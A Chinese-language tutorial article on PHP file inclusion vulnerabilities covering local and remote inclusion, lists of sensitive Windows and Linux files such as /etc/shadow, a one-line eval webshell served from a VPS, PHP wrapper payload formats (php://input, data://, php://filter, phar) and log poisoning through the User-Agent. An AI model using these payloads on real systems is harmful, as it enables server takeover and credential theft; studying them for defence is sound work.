资讯详情

【Web漏洞】文件包含

📅 2026/10/16 6:24:27 | 华诺云谱 👁 阅读
【Web漏洞】文件包含
文件包含一、文件包含漏洞1、文件包含概念2、文件包含原理3、文件包含分类1.本地文件包含2.远程文件包含二、PHP伪协议利用1.PHP伪协议介绍2.PHP伪协议的使用三.文件包含日志Getshell1.漏洞原理2.漏洞实操一、文件包含漏洞1、文件包含概念文件包含是一种代码复用技术指程序在运行通过特定语法将另一个文件的内容嵌入到当前文件中从而直接使用该文件的代码、数据或资源、减少开发的代码。2、文件包含原理文件包含漏洞是一种常见的安全漏洞通常出现在web应用程序中。它允许攻击者通过包含恶意文件俩执行任意代码进而可能导致服务器被控制、数据泄露等严重后果。在php中文件包含漏洞通常是由于开发者使用了不安全的文件包含函数允许动态加载文件。若没有对文件路径进行严格的验证和过滤攻击者可能利用这些函数来加载恶意代码文件导致文件包含漏洞。3、文件包含分类1.本地文件包含(1)windows常见文件文件说明c:\boot.ini查看系统版本c:\windows\system32\inetsrv\MetaBase.xmliis配置文件c:\windows\repair\same存储windows系统初次安装密码c:ProgramFiles\mysql\data\mysql\user.MYDmysql root密码c:ProgramFiles\mysql\my.inimysql配置文件c:\windows\win.ini系统信息(2)linux常见敏感文件文件说明/etc/passwd账户信息/etc/shadow账户密码文件/etc/apache2/apache2.confApache2默认配置文件/etc/my.confmysql配置文件/etc/php/5.6/apache2/php.iniphp相关文件配置/etc/httpd/conf/httpd.confapache配置文件2.远程文件包含(1)漏洞原理远程文件包含漏洞是指攻击者通过URL参数将外部远程文件包含到服务器中。攻击者可以上传恶意脚本或WebShell将远程文件包含到服务器上并执行导致远程代码执行。(2)实操1.在自己的VPS上新建一个一句话木马?phpeval(_POST[a]);?2.使用python开启HTTP服务python3-mhttp.server3.包含自己木马4.用蚁剑连接二、PHP伪协议利用1.PHP伪协议介绍PHP伪协议是PHP中一种强大的特性允许开发者以类似文件操作的方式访问各种资源(如HTTP、FTP、压缩文件、输入流等)。伪协议也通常被攻击者利用来绕过安全限制尤其是在文件包含漏洞的利用中。文件包含漏洞中PHP伪协议可以用于读取文件、执行代码、绕过过滤等操作。以下是常见的PHP伪协议及其在文件包含漏洞中的利用方法。file:// -访问本地文件系统http:// -访问远程文件(需要allow_url_include开启)ftp:// -访问 FTP(s) URLphp:// -访问各个输入/输出流、过滤器等常见子协议:php://input:读取POST请求的原始数据php://filter:对文件内容进行过滤或编码zlib:// -压缩流data:// -数据直接用于嵌入数据(如Base64编码的数据)glob:// -查找匹配的文件路径模式phar:// -PHP归档2.PHP伪协议的使用(1)php://input在PHP的文件包含中php://input可以用作包含文件的路径允许读取请求的主体内容格式php://input post:php代码(2)data://数据流封装器以传递相应格式的数据前提条件php.ini文件中的allow_url_include设置为on格式data://text/plain,php代码 data://text/plain,base64,base64编码的php代码(3)php://filter是一种元封装器设计用于数据流打开时的筛选过滤根据名字filter可以很容易想到这个协议可以用来过滤一些东西。主要用来查看源码在进行PHP代码审计时需要查看目标的源码但是包含PHP文件时会被解析不能看到源码这时可以用php://filter来读取源代码文件。格式:php://filter/readconvert.base64-encode/resourceindex.php(4)phar://phar://数据流包装器访问PHP归档文件如ZIP、PHAR格式格式phar://相对路径/xx.zip/被压缩的文件步骤首先将一个PHP文件添加到zip压缩文件将zip压缩文件上传如果上传电视白名单检测则可以将.zip后缀改为合法的后缀利用zip://协议包含该文件三.文件包含日志Getshell1.漏洞原理Web服务器通常会记录访问日志包括请求的URL、用户代理(User-Agent)、来源IP等信息。可以通过控制这些日志并通过文件包含漏洞访问日志文件就可以执行注入的恶意代码。linux日志的默认路径如下/var/log/apache/access.log2.漏洞实操(1)抓取数据包将木马植入到UA中(2)访问包含的日志文件(3)使用蚁剑连接
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑